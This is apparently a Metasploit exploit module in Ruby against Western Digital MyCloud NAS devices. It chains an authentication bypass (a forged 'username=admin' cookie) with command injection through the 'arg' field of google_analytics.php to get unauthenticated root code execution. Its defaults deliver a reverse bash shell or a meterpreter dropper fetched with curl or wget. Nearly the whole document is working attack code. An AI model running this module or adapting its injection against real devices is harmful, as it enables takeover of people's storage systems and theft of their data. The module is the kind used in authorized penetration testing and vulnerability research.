Western Digital MyCloud Unauthenticated Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Western Digital MyCloud unauthenticated command injection',        'Description' => %q{          This module exploits authentication bypass (CVE-2018-17153) and          command injection (CVE-2016-10108) vulnerabilities in Western          Digital MyCloud before 2.30.196 in order to achieve          unauthenticated remote code execution as the root user.          The module first performs a check to see if the target is          WD MyCloud. If so, it attempts to trigger an authentication          bypass (CVE-2018-17153) via a crafted GET request to          /cgi-bin/network_mgr.cgi. If the server responds as expected,          the module assesses the vulnerability status by attempting to          exploit a commend injection vulnerability (CVE-2016-10108) in          order to print a random string via the echo command. This is          done via a crafted POST request to /web/google_analytics.php.          If the server is vulnerable, the same command injection vector          is leveraged to execute the payload.          This module has been successfully tested against Western Digital          MyCloud version 2.30.183.          Note: based on the available disclosures, it seems that the          command injection vector (CVE-2016-10108) might be exploitable          without the authentication bypass (CVE-2018-17153) on versions          before 2.21.126. The obtained results on 2.30.183 imply that          the patch for CVE-2016-10108 did not actually remove the command          injection vector, but only prevented unauthenticated access to it.        },        'License' => MSF_LICENSE,        'Author' => [          'Erik Wynter', # @wyntererik - Metasploit          'Steven Campbell', # CVE-2016-10108 disclosure and PoC          'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC        ],        'References' => [          ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.          ['CVE', '2018-17153'], # authentication bypass          ['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC          ['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC        ],        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Platform' => %w[linux unix],        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],        'Targets' => [          [            'Unix In-Memory',            {              'Platform' => [ 'unix', 'linux' ],              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },              'Type' => :unix_memory            }          ],          [            'Linux Dropper', {              'Arch' => [ARCH_ARMLE],              'Platform' => 'linux',              'DefaultOptions' => {                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',                'CMDSTAGER::FLAVOR' => :curl              },              'Type' => :linux_dropper            }          ]        ],        'CmdStagerFlavor' => ['curl', 'wget'],        'Privileged' => true,        'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),    ])  end  def check    # sanity check to see if the target is likely WD MyCloud    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    })    return CheckCode::Unknown('Connection failed.') unless res    return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')    print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")    # try the authentication bypass (CVE-2018-17153)    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),      'vars_get' => {        'cmd' => 'cgi_get_ipv6',        'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details      }    })    return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res    return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404    # send a command to print a random string via echo. if the target is vulnerable, both the command  and the command output will be part of the response body    echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"    print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")    res = execute_command(echo_cmd, { 'wait_for_response' => true })    return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res    return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')    CheckCode::Safe('The target failed to execute the echo command.')  end  def execute_command(cmd, opts = {})    request_hash = {      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),      'cookie' => 'username=admin',      'vars_post' => {        'cmd' => 'set',        'opt' => 'cloud-device-num',        'arg' => "0|echo `#{cmd}` #"      }    }    return send_request_cgi(request_hash) if opts['wait_for_response']    # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response    send_request_cgi(request_hash, 0)  end  def exploit    if target.arch.first == ARCH_CMD      print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend